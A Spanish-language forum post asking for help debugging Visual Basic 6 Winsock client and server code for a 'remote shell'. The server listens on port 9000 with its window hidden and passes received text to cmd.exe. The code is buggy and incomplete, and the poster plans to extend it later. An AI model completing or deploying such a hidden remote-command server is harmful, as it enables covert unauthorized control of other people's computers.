Cliente:
Código
Private Sub Command1_Click()
Dim datos As String
Text4.Text = datos
ws.SendData datos
Text4.Text = ""
End Sub
Private Sub Command1_KeyPress(KeyAscii As Integer)
If KeyPress = 13 Then Command1_Click
End Sub
Private Sub Command2_Click()
ws.Connect
End Sub
Private Sub Form_Load()
ws.RemotePort = 9000
ws.RemoteHost = Text1.Text
If ws.State = 0 Then Label3.Caption = Desconectado
If ws.State = 7 Then Label3.Caption = Conectado
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim i As String
ws.GetData i
Text3.Text = Text3.Text & "Remote Shell: " & i & vbCrLf
End Sub
Resulta que cunado le doy al boton conectar e inserto el comando que quiero ejecutar remotamente me sale el siguiente error: Error 40006 en tiempo de ejecución, protocolo o estado de conexión erroneo para la transacción solicitada.
Server:
Código
Private Sub Command1_Click()
ruta = "C:\WINDOWS\"
Shell "cmd.exe /c " & """recibir > ruta & cosa.txt"""
Open ruta & cosa.txt For Input As #1
comando = Input(LOF(1), #1)
Close #1
Call Command2_Click
End Sub
Private Sub Command2_Click()
Winsock1.SendData comando
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 9000
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Listen
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim recibir As String
Winsock1.GetData recibir
Call Command1_Click
End Sub
En el server lo que me surge la duda es en esta linea, lei sobr ela doble comilla pero no me kedo del todo claro:
Código
Shell "cmd.exe /c " & """recibir > ruta & cosa.txt"""
Espero me puedan corregir para así aprender de el error/es que haya cometido.
P.D: Aclaro el server esta en visible=false y no se ñade al registro ni nada de eso. CUnado consiga que ejecutre bien los comandos remotamente ya le añadire todo lo necesario para que sea un herramienta de utilidad. Para comprobar que funcionara he puesto en la casilla de ip del cliente mi ip local 127.0.0.1. En otras aplicaciones que ya he hecho no me ha dado problemas con esa ip al probarlo en mi pc.
Edito: Error 40006 segun microsoft-->Si se llama al método SendData en el control WinSock antes de que el socket se ha conectado, recibirá el error de Visual Basic de Microsoft:
Error en tiempo de ejecución: 40006
"Protocolo o conexión estado erróneo para la transacción solicitada o solicitar".
Aun asi me he fijado en otros programas con winsock que he hecho y no encuntro el problema es como si no conectara. Para colmo no se si esta o no conectado porque los labels no me dan el estado de la conexión. Asi que ya no se llevo un buen rato debanandome los sesos.
Salu2
Salu2










Autor


En línea













